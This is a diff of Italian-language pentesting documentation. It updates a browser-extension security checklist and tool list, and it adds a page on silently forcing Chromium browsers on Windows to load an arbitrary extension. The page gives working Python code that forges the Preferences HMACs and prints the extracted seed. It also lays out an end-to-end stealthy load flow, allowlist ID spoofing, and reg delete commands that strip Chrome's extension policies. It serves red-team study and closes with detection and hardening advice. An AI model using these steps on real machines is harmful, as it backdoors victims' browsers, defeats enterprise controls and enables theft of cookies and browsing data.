+- [ ] Usare una **`content_security_policy`** **forte**
+- [ ] **Limitare** il più possibile il `externally_connectable`; se non è necessario e possibile, non lasciarlo per default, specificare **`{}`**
+- [ ] Se qui è menzionata una **URL vulnerabile a XSS o a takeover**, un attaccante potrà **inviare messaggi direttamente ai background scripts**. Bypass molto potente.
+- [ ] **Limitare** il più possibile i `web_accessible_resources`, anche lasciandoli vuoti se possibile.
+- [ ] Se i `web_accessible_resources` non sono vuoti, verificare la presenza di [**ClickJacking**](browext-clickjacking.md)
+- [ ] Se avviene qualunque **comunicazione** dall'**estensione** alla **pagina web**, [**verificare la presenza di XSS**](browext-xss-example.md) **vulnerabilità** causate nella comunicazione.
+- [ ] Se vengono usati Post Messages, verificare le [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html).
+- [ ] Se i **Content Script accedono ai dettagli del DOM**, verificare che non stiano introducendo una XSS nel caso vengano **modificati** dalla pagina web
+- [ ] Porre particolare attenzione se questa comunicazione è coinvolta anche nella **Content Script -> Background script communication**
+- [ ] Se lo script di background comunica tramite **native messaging**, verificare che la comunicazione sia sicura e sanitizzata
+- [ ] **Le informazioni sensibili non dovrebbero essere memorizzate** all'interno del **codice** dell'estensione del browser
+- [ ] **Le informazioni sensibili non dovrebbero essere memorizzate** nella **memoria** dell'estensione del browser
+- [ ] **Le informazioni sensibili non dovrebbero essere memorizzate** nel **file system** senza protezione
+
+## Browser Extension Risks
+
+- L'app [https://crxaminer.tech/](https://crxaminer.tech/) analizza alcuni dati come i permessi richiesti dall'estensione del browser per dare un livello di rischio nell'utilizzo dell'estensione.
 
 ## Strumenti
 
 ### [**Tarnish**](https://thehackerblog.com/tarnish/)
 
-- Estrae qualsiasi estensione di Chrome da un link fornito del Chrome webstore.
-- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: visualizza semplicemente una versione JSON formattata del manifesto dell'estensione.
-- **Analisi del Fingerprint**: Rilevamento di [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) e generazione automatica di JavaScript per il fingerprinting delle estensioni di Chrome.
-- **Analisi Potenziale di Clickjacking**: Rilevamento di pagine HTML dell'estensione con la direttiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) impostata. Queste sono potenzialmente vulnerabili al clickjacking a seconda dello scopo delle pagine.
-- **Visualizzatore di Avvisi di Permesso**: che mostra un elenco di tutti gli avvisi di richiesta di autorizzazione di Chrome che verranno visualizzati quando un utente tenta di installare l'estensione.
-- **Funzione(i) Pericolosa(e)**: mostra la posizione delle funzioni pericolose che potrebbero essere potenzialmente sfruttate da un attaccante (ad es. funzioni come innerHTML, chrome.tabs.executeScript).
-- **Punto(i) di Entrata**: mostra dove l'estensione riceve input utente/esterno. Questo è utile per comprendere l'area di superficie di un'estensione e cercare potenziali punti per inviare dati malevoli all'estensione.
-- Sia il scanner di Funzione(i) Pericolosa(e) che il scanner di Punto(i) di Entrata hanno quanto segue per i loro avvisi generati:
-- Frammento di codice pertinente e riga che ha causato l'avviso.
-- Descrizione del problema.
-- Un pulsante "Visualizza File" per visualizzare il file sorgente completo contenente il codice.
-- Il percorso del file avvisato.
-- L'URI completo dell'estensione di Chrome del file avvisato.
-- Il tipo di file, come uno script di Pagina di Background, Content Script, Azione del Browser, ecc.
-- Se la riga vulnerabile è in un file JavaScript, i percorsi di tutte le pagine in cui è inclusa così come il tipo di queste pagine e lo stato di [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
-- **Analizzatore di Content Security Policy (CSP) e controllore di bypass**: Questo evidenzierà le debolezze nella CSP della tua estensione e illuminerà anche eventuali modi potenziali per bypassare la tua CSP a causa di CDN autorizzati, ecc.
-- **Librerie Vulnerabili Conosciute**: Questo utilizza [Retire.js](https://retirejs.github.io/retire.js/) per controllare l'uso di librerie JavaScript note come vulnerabili.
-- Scarica estensione e versioni formattate.
+- Scarica qualsiasi estensione Chrome a partire da un link del Chrome Web Store fornito.
+- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: mostra semplicemente una versione JSON-prettificata del manifest dell'estensione.
+- **Fingerprint Analysis**: rilevamento di [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) e generazione automatica di JavaScript per il fingerprinting delle estensioni Chrome.
+- **Potential Clickjacking Analysis**: rilevamento di pagine HTML dell'estensione con la direttiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) impostata. Queste possono essere potenzialmente vulnerabili a clickjacking a seconda dello scopo delle pagine.
+- **Permission Warning(s) viewer**: mostra una lista di tutti i warning dei permission prompt di Chrome che verranno visualizzati quando l'utente tenta di installare l'estensione.
+- **Dangerous Function(s)**: mostra la posizione di funzioni pericolose che potrebbero essere sfruttate da un attaccante (es. funzioni come innerHTML, chrome.tabs.executeScript).
+- **Entry Point(s)**: mostra i punti in cui l'estensione riceve input dall'utente/esterni. Questo è utile per comprendere la superficie d'attacco dell'estensione e cercare punti potenziali per inviare dati creati in modo malevolo all'estensione.
+- Sia gli scanner Dangerous Function(s) che Entry Point(s) forniscono per gli alert generati quanto segue:
+  - Snippet di codice rilevante e riga che ha causato l'alert.
+  - Descrizione del problema.
+  - Un pulsante “View File” per visualizzare il file sorgente completo che contiene il codice.
+  - Il path del file segnalato.
+  - L'URI completo dell'estensione Chrome del file segnalato.
+  - Il tipo di file, ad esempio Background Page script, Content Script, Browser Action, ecc.
+  - Se la riga vulnerabile è in un file JavaScript, vengono mostrati i path di tutte le pagine in cui è incluso, oltre al tipo di queste pagine e lo stato di [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
+- **Content Security Policy (CSP) analyzer and bypass checker**: individua le debolezze nella CSP dell'estensione e mette in luce eventuali modi per bypassare la CSP dovuti a CDN nella whitelist, ecc.
+- **Known Vulnerable Libraries**: utilizza [Retire.js](https://retirejs.github.io/retire.js/) per controllare l'uso di librerie JavaScript note vulnerabili.
+- Scarica l'estensione e versioni formattate.
 - Scarica l'estensione originale.
-- Scarica una versione abbellita dell'estensione (HTML e JavaScript automaticamente formattati).
-- Caching automatico dei risultati della scansione, eseguire una scansione dell'estensione richiederà un buon tempo la prima volta che la esegui. Tuttavia, la seconda volta, assumendo che l'estensione non sia stata aggiornata, sarà quasi istantanea grazie ai risultati memorizzati nella cache.
-- URL di Report linkabili, facilmente collegabili a qualcun altro per un report di estensione generato da tarnish.
+- Scarica una versione beautified dell'estensione (HTML e JavaScript auto-prettificati).
+- Caching automatico dei risultati della scansione: eseguire una scansione dell'estensione richiederà tempo la prima volta. Tuttavia la seconda volta, assumendo che l'estensione non sia stata aggiornata, sarà quasi immediato grazie ai risultati in cache.
+- URL di report collegabili, permette di condividere facilmente il report di un'estensione generato da Tarnish.
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
-Il progetto Neto è un pacchetto Python 3 concepito per analizzare e svelare funzionalità nascoste di plugin e estensioni del browser per browser noti come Firefox e Chrome. Automatizza il processo di estrazione dei file impacchettati per estrarre queste funzionalità da risorse pertinenti in un'estensione come `manifest.json`, cartelle di localizzazione o file sorgente Javascript e HTML.
+Project Neto è un package Python 3 concepito per analizzare e rivelare funzionalità nascoste di plugin ed estensioni del browser per browser noti come Firefox e Chrome. Automatizza il processo di unzip dei file confezionati per estrarre queste feature da risorse rilevanti in un'estensione come `manifest.json`, cartelle di localizzazione o file sorgente Javascript e HTML.
 
 ## Riferimenti
 

src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md

@@ -0,0 +1,208 @@
+# Forced Extension Load & Preferences MAC Forgery (Windows)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Panoramica
+
+Stealthy post-exploitation technique per forzare il caricamento di estensioni arbitrarie nei browser basati su Chromium su Windows modificando le Preferences/Secure Preferences di un utente e contraffacendo HMAC validi per i nodi modificati. Funziona contro Chrome/Chromium, Edge e Brave. Osservato applicabile da Chromium 130 a 139 al momento della pubblicazione. Una semplice primitiva di scrittura su disco nel profilo della vittima è sufficiente per persistere un’estensione con privilegi completi senza flag della command-line o prompt utente.
+
+> Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry.
+
+
+## Dove risiede lo stato delle estensioni (Windows)
+
+- Non–domain‑joined Chrome profile:
+- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (include una root "super_mac").
+- Domain‑joined Chrome profile:
+- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
+- Nodi chiave usati da Chromium:
+- extensions.settings.<extension_id> → embedded manifest/metadata for the extension entry
+- protection.macs.extensions.settings.<extension_id> → HMAC for that JSON blob
+- Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate
+
+Schema semplificato (illustrativo):
+```json
+{
+"extensions": {
+"settings": {
+"<extension_id>": {
+"name": "Extension name",
+"manifest_version": 3,
+"version": "1.0",
+"key": "<BASE64 DER SPKI>",
+"path": "<absolute path if unpacked>",
+"state": 1,
+"from_bookmark": false,
+"was_installed_by_default": false
+// ...rest of manifest.json + required install metadata
+}
+},
+"ui": { "developer_mode": true }
+},
+"protection": {
+"macs": {
+"extensions": {
+"settings": { "<extension_id>": "<MAC>" },
+"ui": { "developer_mode": "<MAC>" }
+}
+}
+}
+}
+```
+Notes:
+- Edge/Brave mantengono strutture simili. Il valore del protection seed può differire (in alcune build è stato osservato che Edge/Brave usano un seed null o diverso).
+
+
+## ID delle estensioni: path vs key e come renderli deterministici
+
+Chromium deriva l'ID dell'estensione come segue:
+- Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → prendere i primi 32 caratteri esadecimali → mappare 0–f su a–p
+- Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → mappare 0–f su a–p
+
+Per mantenere un ID stabile tra gli host, incorpora una public key DER in base64 fissa in manifest.json sotto "key". L'ID verrà derivato da questa key invece del percorso di installazione.
+
+Helper to generate a deterministic ID and a key pair:
+```python
+import base64
+import hashlib
+from cryptography.hazmat.primitives import serialization
+from cryptography.hazmat.primitives.asymmetric import rsa
+
+def translate_crx_id(s: str) -> str:
+t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
+return ''.join(t.get(c, c) for c in s)
+
+def generate_extension_keys() -> tuple[str,str,str]:
+priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
+pub = priv.public_key()
+spki = pub.public_bytes(encoding=serialization.Encoding.DER,
+format=serialization.PublicFormat.SubjectPublicKeyInfo)
+crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
+pub_b64 = base64.b64encode(spki).decode('utf-8')
+priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
+format=serialization.PrivateFormat.TraditionalOpenSSL,
+encryption_algorithm=serialization.NoEncryption())
+priv_b64 = base64.b64encode(priv_der).decode('utf-8')
+return crx_id, pub_b64, priv_b64
+
+print(generate_extension_keys())
+```
+Aggiungi la chiave pubblica generata nel tuo manifest.json per bloccare l'ID:
+```json
+{
+"manifest_version": 3,
+"name": "Synacktiv extension",
+"version": "1.0",
+"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
+}
+```
+## Falsificare i MAC di integrità delle Preferences (core bypass)
+
+Chromium protegge le Preferences con HMAC‑SHA256 su "path" + valore JSON serializzato di ciascun nodo. Il seed dell'HMAC è incorporato in resources.pak del browser ed era ancora valido fino a Chromium 139.
+
+Estrai il seed con GRIT pak_util e individua il contenitore del seed (file id 146 nelle build testate):
+```bash
+python3 pak_util.py extract resources.pak -o resources_v139/
+python3 pak_util.py extract resources.pak -o resources_v139_dirty/
+# compare a clean vs minimally modified resources.pak to spot the seed holder
+xxd -p resources_v139/146
+# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
+```
+Calcola MACs (HEX maiuscolo) come:
+```text
+ext_mac = HMAC_SHA256(seed,
+"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
+
+devmode_mac = HMAC_SHA256(seed,
+"extensions.ui.developer_mode" + ("true" or "false"))
+```
+Esempio minimo in Python:
+```python
+import json, hmac, hashlib
+
+def mac_upper(seed_hex: str, pref_path: str, value) -> str:
+seed = bytes.fromhex(seed_hex)
+# Compact JSON to match Chromium serialization closely
+val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
+msg = (pref_path + val).encode('utf-8')
+return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
+
+# Example usage
+settings_path = f"extensions.settings.{crx_id}"
+devmode_path = "extensions.ui.developer_mode"
+ext_mac = mac_upper(seed_hex, settings_path, settings_json)
+devmode_mac = mac_upper(seed_hex, devmode_path, "true")
+```
+Scrivi i valori sotto:
+- protection.macs.extensions.settings.<crx_id> = ext_mac
+- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
+
+Differenze tra browser: su Microsoft Edge e Brave il seed può essere null/differente. La struttura HMAC rimane la stessa; regola il seed di conseguenza.
+
+> Suggerimenti per l'implementazione
+> - Usa esattamente la stessa serializzazione JSON che Chromium utilizza quando calcola i MAC (JSON compatto senza spazi bianchi è sicuro in pratica; ordinare le chiavi può aiutare a evitare problemi di ordine).
+> - Assicurati che extensions.ui.developer_mode esista ed sia firmato su Chromium ≥134, oppure la tua unpacked entry non si attiverà.
+
+
+## Flusso di caricamento silenzioso end-to-end (Windows)
+
+1) Genera un ID deterministico e incorpora "key" in manifest.json; prepara un'estensione MV3 unpacked con i permessi desiderati (service worker/content scripts)
+2) Crea extensions.settings.<id> incorporando il manifest e i metadati minimi di installazione richiesti da Chromium (state, path per unpacked, ecc.)
+3) Estrai il seed HMAC da resources.pak (file 146) e calcola due MAC: uno per il nodo settings e uno per extensions.ui.developer_mode (Chromium ≥134)
+4) Scrivi i nodi e i MAC creati nelle Preferences/Secure Preferences del profilo di destinazione; al prossimo avvio l'estensione si attiverà automaticamente con tutti i privilegi dichiarati
+
+
+## Bypassing enterprise controls
+
+- Whitelisted extension hash spoofing (ID spoofing)
+1) Installa un'estensione consentita dal Web Store e annotane l'ID
+2) Ottieni la sua chiave pubblica (es., tramite chrome.runtime.getManifest().key nel background/service worker o recuperando/parsando il suo .crx)
+3) Imposta quella chiave come manifest.key nella tua estensione modificata per riprodurre lo stesso ID
+4) Registra la voce nelle Preferences e firma i MAC → i controlli di ExtensionInstallAllowlist che verificano solo l'ID vengono bypassati
+
+- Extension stomping (ID collision precedence)
+- Se un'estensione locale unpacked condivide un ID con un'estensione installata dal Web Store, Chromium preferisce quella unpacked. Questo sostituisce effettivamente l'estensione legittima in chrome://extensions pur preservando il trusted ID. Verificato su Chrome e Edge (es., Adobe PDF)
+
+- Neutralizing GPO via HKCU (requires admin)
+- Le policy di Chrome/Edge risiedono sotto HKCU\Software\Policies\*
+- Con diritti admin, elimina/modifica le chiavi di policy prima di scrivere le tue voci per evitare blocchi:
+```powershell
+reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
+reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
+```
+## Fallback rumoroso: caricamento da riga di comando
+
+Da Chromium ≥137, --load-extension richiede anche di specificare:
+```text
+--disable-features=DisableLoadExtensionCommandLineSwitch
+```
+Questo approccio è ampiamente noto e monitorato (ad es., da EDR/DFIR; usato da malware commodity come Chromeloader). Preference MAC forging è più furtivo.
+
+Related flags and more cross‑platform tricks are discussed here:
+
+{{#ref}}
+../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
+{{#endref}}
+
+
+## Impatto operativo
+
+Una volta accettata, l'estensione viene eseguita con le autorizzazioni dichiarate, consentendo accesso al DOM, intercettazione/reindirizzamento delle richieste, accesso a cookie/storage e acquisizione di screenshot—di fatto esecuzione di codice nel browser e persistenza duratura nel profilo utente. Il deploy remoto via SMB o altri canali è semplice poiché l'attivazione è guidata dai dati tramite Preferences.
+
+
+## Rilevamento e hardening
+
+- Monitorare processi non‑Chromium che scrivono in Preferences/Secure Preferences, specialmente nuovi nodi sotto extensions.settings abbinati a voci protection.macs
+- Segnalare attivazioni inattese di extensions.ui.developer_mode e voci di estensioni con HMAC valido ma non approvate
+- Verificare HKCU/HKLM Software\Policies per manomissioni; applicare le policy tramite device management/Chrome Browser Cloud Management
+- Preferire forced‑install dallo store con publisher verificati piuttosto che allowlists che fanno match solo sull'extension ID
+
+
+## Riferimenti
+
+- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
+- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
+- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
+- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
+
+{{#include ../../banners/hacktricks-training.md}}